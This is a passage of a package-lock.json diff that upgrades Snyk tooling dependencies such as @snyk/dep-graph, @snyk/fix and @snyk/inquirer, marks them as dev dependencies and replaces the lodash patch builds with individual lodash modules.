"sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + }, + "uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true + } + } + }, + "@snyk/composer-lockfile-parser": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/@snyk/composer-lockfile-parser/-/composer-lockfile-parser-1.4.1.tgz", + "integrity": "sha512-wNANv235j95NFsQuODIXCiQZ9kcyg9fz92Kg1zoGvaP3kN/ma7fgCnvQL/dyml6iouQJR5aZovjhrrfEFoKtiQ==", + "dev": true, + "requires": { + "lodash.findkey": "^4.6.0", + "lodash.get": "^4.4.2", + "lodash.invert": "^4.3.0", + "lodash.isempty": "^4.4.0" + } + }, + "@snyk/dep-graph": { + "version": "1.28.0", + "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.28.0.tgz", + "integrity": "sha512-Oup9nAvb558jdNvbZah/vaBtOtCcizkdeS+OBQeBIqIffyer4mc4juSn4b1SFjCpu7AG7piio8Lj8k1B9ps6Tg==", + "dev": true, + "requires": { + "event-loop-spinner": "^2.1.0", + "lodash.clone": "^4.5.0", + "lodash.constant": "^3.0.0", + "lodash.filter": "^4.6.0", + "lodash.foreach": "^4.5.0", + "lodash.isempty": "^4.4.0", + "lodash.isequal": "^4.5.0", + "lodash.isfunction": "^3.0.9", + "lodash.isundefined": "^3.0.1", + "lodash.keys": "^4.2.0", + "lodash.map": "^4.6.0", + "lodash.reduce": "^4.6.0", + "lodash.size": "^4.2.0", + "lodash.transform": "^4.6.0", + "lodash.union": "^4.6.0", + "lodash.values": "^4.3.0", + "object-hash": "^2.0.3", + "semver": "^7.0.0", + "tslib": "^1.13.0" + }, + "dependencies": { + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "requires": { + "yallist": "^4.0.0" } }, "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + "version": "7.3.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", + "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, + "tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true } } }, - "@snyk/cocoapods-lockfile-parser": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/@snyk/cocoapods-lockfile-parser/-/cocoapods-lockfile-parser-3.4.0.tgz", - "integrity": "sha512-mAWgKIHFv0QEGpRvocVMxLAdJx7BmXtVOyQN/VtsGBoGFKqhO0jbtKUUVJC4b0jyKfVmEF2puo94i+1Uqz5q6A==", + "@snyk/docker-registry-v2-client": { + "version": "1.13.9", + "resolved": "https://registry.npmjs.org/@snyk/docker-registry-v2-client/-/docker-registry-v2-client-1.13.9.tgz", + "integrity": "sha512-DIFLEhr8m1GrAwsLGInJmpcQMacjuhf3jcbpQTR+LeMvZA9IuKq+B7kqw2O2FzMiHMZmUb5z+tV+BR7+IUHkFQ==", + "dev": true, "requires": { - "@snyk/dep-graph": "1.18.4", - "@snyk/ruby-semver": "^2.0.4", - "@types/js-yaml": "^3.12.1", - "js-yaml": "^3.13.1", - "source-map-support": "^0.5.7", + "needle": "^2.5.0", + "parse-link-header": "^1.0.1", "tslib": "^1.10.0" + } + }, + "@snyk/fast-glob": { + "version": "3.2.6-patch", + "resolved": "https://registry.npmjs.org/@snyk/fast-glob/-/fast-glob-3.2.6-patch.tgz", + "integrity": "sha512-E/Pfdze/WFfxwyuTFcfhQN1SwyUsc43yuCoW63RVBCaxTD6OzhVD2Pvc/Sy7BjiWUfmelzyKkIBpoow8zZX7Zg==", + "dev": true, + "requires": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "@snyk/glob-parent": "^5.1.2-patch.1", + "merge2": "^1.3.0", + "micromatch": "^4.0.2", + "picomatch": "^2.2.1" }, "dependencies": { - "@snyk/dep-graph": { - "version": "1.18.4", - "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.18.4.tgz", - "integrity": "sha512-SePWsDyD7qrLxFifIieEl4GqyOODfOnP0hmUweTG5YcMroAV5nARGAUcjxREGzbXMcUpPfZhAaqFjYgzUDH8dQ==", + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "micromatch": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", + "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "dev": true, "requires": { - "@snyk/graphlib": "2.1.9-patch", - "@snyk/lodash": "4.17.15-patch", - "object-hash": "^2.0.3", - "semver": "^7.3.2", - "source-map-support": "^0.5.19", - "tslib": "^1.11.1" + "braces": "^3.0.1", + "picomatch": "^2.2.3" } }, - "semver": { - "version": "7.3.2", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz", - "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==" + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } } } }, - "@snyk/composer-lockfile-parser": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/@snyk/composer-lockfile-parser/-/composer-lockfile-parser-1.4.0.tgz", - "integrity": "sha512-ga4YTRjJUuP0Ufr+t1IucwVjEFAv66JSBB/zVHP2zy/jmfA3l3ZjlGQSjsRC6Me9P2Z0esQ83AYNZvmIf9pq2w==", - "requires": { - "@snyk/lodash": "^4.17.15-patch" - } - }, - "@snyk/dep-graph": { - "version": "1.18.3", - "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.18.3.tgz", - "integrity": "sha512-7qWRTIJdZuc5VzDjdV2+03AHElyAZmhq7eV9BRu+jqrYjo9ohWBGEZgYslrTdvfqfJ8rkdrG3j0/0Aa25IxJcg==", + "@snyk/fix": { + "version": "1.526.0", + "resolved": "https://registry.npmjs.org/@snyk/fix/-/fix-1.526.0.tgz", + "integrity": "sha512-+aMUNRhOdoN4YPGxXlN9+NwvKOr/DNBCGgC8DnNSujcJ9Nj1M8oHrnVoTy56/tgbJ8qyw/zwmCKAm383CfURKg==", + "dev": true, "requires": { - "@snyk/graphlib": "2.1.9-patch", - "@snyk/lodash": "4.17.15-patch", - "object-hash": "^2.0.3", - "semver": "^7.3.2", - "source-map-support": "^0.5.19", - "tslib": "^1.11.1" + "@snyk/dep-graph": "^1.21.0", + "chalk": "4.1.0", + "debug": "^4.3.1", + "micromatch": "4.0.2", + "ora": "5.3.0", + "p-map": "^4.0.0", + "strip-ansi": "6.0.0" }, "dependencies": { - "semver": { - "version": "7.3.2", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz", - "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==" + "ansi-regex": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", + "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "dev": true + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "micromatch": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz", + "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==", + "dev": true, + "requires": { + "braces": "^3.0.1", + "picomatch": "^2.0.5" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "p-map": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "dev": true, + "requires": { + "aggregate-error": "^3.0.0" + } + }, + "strip-ansi": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", + "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", + "dev": true, + "requires": { + "ansi-regex": "^5.0.0" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } } } }, - "@snyk/docker-registry-v2-client": { - "version": "1.13.5", - "resolved": "https://registry.npmjs.org/@snyk/docker-registry-v2-client/-/docker-registry-v2-client-1.13.5.tgz", - "integrity": "sha512-lgJiC071abCpFVLp47OnykU8MMrhdQe386Wt6QaDmjI0s2DQn/S58NfdLrPU7s6l4zoGT7UwRW9+7paozRgFTA==", - "requires": { - "needle": "^2.5.0", - "parse-link-header": "^1.0.1", - "tslib": "^1.10.0" - } - }, "@snyk/gemfile": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/@snyk/gemfile/-/gemfile-1.2.0.tgz", - "integrity": "sha512-nI7ELxukf7pT4/VraL4iabtNNMz8mUo7EXlqCFld8O5z6mIMLX9llps24iPpaIZOwArkY3FWA+4t+ixyvtTSIA==" + "integrity": "sha512-nI7ELxukf7pT4/VraL4iabtNNMz8mUo7EXlqCFld8O5z6mIMLX9llps24iPpaIZOwArkY3FWA+4t+ixyvtTSIA==", + "dev": true + }, + "@snyk/glob-parent": { + "version": "5.1.2-patch.1", + "resolved": "https://registry.npmjs.org/@snyk/glob-parent/-/glob-parent-5.1.2-patch.1.tgz", + "integrity": "sha512-OkUPdHgxIWKAAzceG1nraNA0kgI+eS0I9wph8tll9UL0slD2mIWSj4mAqroGovaEXm8nHedoUfuDRGEb6wnzCQ==", + "dev": true, + "requires": { + "is-glob": "^4.0.1" + } }, "@snyk/graphlib": { - "version": "2.1.9-patch", - "resolved": "https://registry.npmjs.org/@snyk/graphlib/-/graphlib-2.1.9-patch.tgz", - "integrity": "sha512-uFO/pNMm3pN15QB+hVMU7uaQXhsBNwEA8lOET/VDcdOzLptODhXzkJqSHqt0tZlpdAz6/6Uaj8jY00UvPFgFMA==", + "version": "2.1.9-patch.3", + "resolved": "https://registry.npmjs.org/@snyk/graphlib/-/graphlib-2.1.9-patch.3.tgz", + "integrity": "sha512-bBY9b9ulfLj0v2Eer0yFYa3syVeIxVKl2EpxSrsVeT4mjA0CltZyHsF0JjoaGXP27nItTdJS5uVsj1NA+3aE+Q==", + "dev": true, "requires": { - "@snyk/lodash": "4.17.15-patch" + "lodash.clone": "^4.5.0", + "lodash.constant": "^3.0.0", + "lodash.filter": "^4.6.0", + "lodash.foreach": "^4.5.0", + "lodash.has": "^4.5.2", + "lodash.isempty": "^4.4.0", + "lodash.isfunction": "^3.0.9", + "lodash.isundefined": "^3.0.1", + "lodash.keys": "^4.2.0", + "lodash.map": "^4.6.0", + "lodash.reduce": "^4.6.0", + "lodash.size": "^4.2.0", + "lodash.transform": "^4.6.0", + "lodash.union": "^4.6.0", + "lodash.values": "^4.3.0" } }, "@snyk/inquirer": { - "version": "6.2.2-patch", - "resolved": "https://registry.npmjs.org/@snyk/inquirer/-/inquirer-6.2.2-patch.tgz", - "integrity": "sha512-IUq5bHRL0vtVKtfvd4GOccAIaLYHbcertug2UVZzk5+yY6R/CxfYsnFUTho1h4BdkfNdin2tPjE/5jRF4SKSrw==", + "version": "7.3.3-patch", + "resolved": "https://registry.npmjs.org/@snyk/inquirer/-/inquirer-7.3.3-patch.tgz", + "integrity": "sha512-aWiQSOacH2lOpJ1ard9ErABcH4tdJogdr+mg1U67iZJOPO9n2gFgAwz1TQJDyPkv4/A5mh4hT2rg03Uq+KBn2Q==", + "dev": true, "requires": { - "@snyk/lodash": "4.17.15-patch", - "ansi-escapes": "^3.2.0", - "chalk": "^2.4.2", - "cli-cursor": "^2.1.0", - "cli-width": "^2.0.0", + "ansi-escapes": "^4.2.1", + "chalk": "^4.1.0", + "cli-cursor": "^3.1.0", + "cli-width": "^3.0.0", "external-editor": "^3.0.3", - "figures": "^2.0.0", - "mute-stream": "0.0.7", - "run-async": "^2.2.0", - "rxjs": "^6.4.0", - "string-width": "^2.1.0", - "strip-ansi": "^5.0.0", + "figures": "^3.0.0", + "lodash.assign": "^4.2.0", + "lodash.assignin": "^4.2.0", + "lodash.clone": "^4.5.0", + "lodash.defaults": "^4.2.0", + "lodash.filter": "^4.6.0", + "lodash.find": "^4.6.0", + "lodash.findindex": "^4.6.0", + "lodash.flatten": "^4.4.0", + "lodash.isboolean": "^3.0.3", + "lodash.isfunction": "^3.0.9", + "lodash.isnumber": "^3.0.3", + "lodash.isplainobject": "^4.0.6", + "lodash.isstring": "^4.0.1", + "lodash.last": "^3.0.0", + "lodash.map": "^4.6.0", + "lodash.omit": "^4.5.0", + "lodash.set": "^4.3.2", + "lodash.sum": "^4.0.2", + "lodash.uniq": "^4.5.0", + "mute-stream": "0.0.8", + "run-async": "^2.4.0", + "rxjs": "^6.6.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0", "through": "^2.3.6" }, "dependencies": { - "ansi-escapes": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz", - "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==" - }, "ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=" + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", + "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "dev": true }, - "cli-cursor": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-2.1.0.tgz", - "integrity": "sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=", + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, "requires": { - "restore-cursor": "^2.0.0" + "color-convert": "^2.0.1" } }, - "figures": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/figures/-/figures-2.0.0.tgz", - "integrity": "sha1-OrGi0qYsi/tDGgyUy3l6L84nyWI=", + "chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, "requires": { - "escape-string-regexp": "^1.0.5" + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" } }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=" - }, - "mimic-fn": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-1.2.0.tgz", - "integrity": "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==" - }, - "mute-stream": { - "version": "0.0.7", - "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.7.tgz", - "integrity": "sha1-MHXOk7whuPq0PhvE2n6BFe0ee6s=" + "cli-width": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-3.0.0.tgz", + "integrity": "sha512-FxqpkPPwu1HjuN93Omfm4h8uIanXofW0RxVEW3k5RKx+mJJYSthzNhp32Kzxxy3YAEZ/Dc/EWN1vZRY0+kOhbw==", + "dev": true }, - "onetime": { + "color-convert": { "version": "2.0.1", - "resolved": "https://registry.npmjs.org/onetime/-/onetime-2.0.1.tgz", - "integrity": "sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, "requires": { - "mimic-fn": "^1.0.0" + "color-name": "~1.1.4" } }, - "restore-cursor": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-2.0.0.tgz", - "integrity": "sha1-n37ih/gv0ybU/RYpI9YhKe7g368=", + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true + }, + "rxjs": { + "version": "6.6.7", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.7.tgz", + "integrity": "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==", + "dev": true, "requires": { - "onetime": "^2.0.0", - "signal-exit": "^3.0.2" + "tslib": "^1.9.0" } }, "string-width": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", - "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", + "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", + "dev": true, "requires": { - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^4.0.0" - }, - "dependencies": { - "strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "requires": { - "ansi-regex": "^3.0.0" - } - } + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.0" } }, "strip-ansi": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", - "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", + "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", + "dev": true, + "requires": { + "ansi-regex": "^5.0.0" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, "requires": { - "ansi-regex": "^4.1.0" - }, - "dependencies": { - "ansi-regex": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==" - } + "has-flag": "^4.0.0" } } } }, "@snyk/java-call-graph-builder": { - "version": "1.13.1", - "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.13.1.tgz", - "integrity": "sha512-oOCSIyOMplV73a1agcXKXlFYQftK5esUUaFRTf90GOxQwKy8R9tZtKdP+CdutlgvjRP286DQ+7GlvKYsGGZbWg==", + "version": "1.20.0", + "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.20.0.tgz", + "integrity": "sha512-NX8bpIu7oG5cuSSm6WvtxqcCuJs2gRjtKhtuSeF1p5TYXyESs3FXQ0nHjfY90LiyTTc+PW/UBq6SKbBA6bCBww==", + "dev": true, "requires": { - "@snyk/graphlib": "2.1.9-patch", + "@snyk/graphlib": "2.1.9-patch.3", "ci-info": "^2.0.0", "debug": "^4.1.1", "glob": "^7.1.6", "jszip": "^3.2.2", "needle": "^2.3.3", "progress": "^2.0.3", - "snyk-config": "^3.0.0", + "snyk-config": "^4.0.0-rc.2", "source-map-support": "^0.5.7", "temp-dir": "^2.0.0", - "tslib": 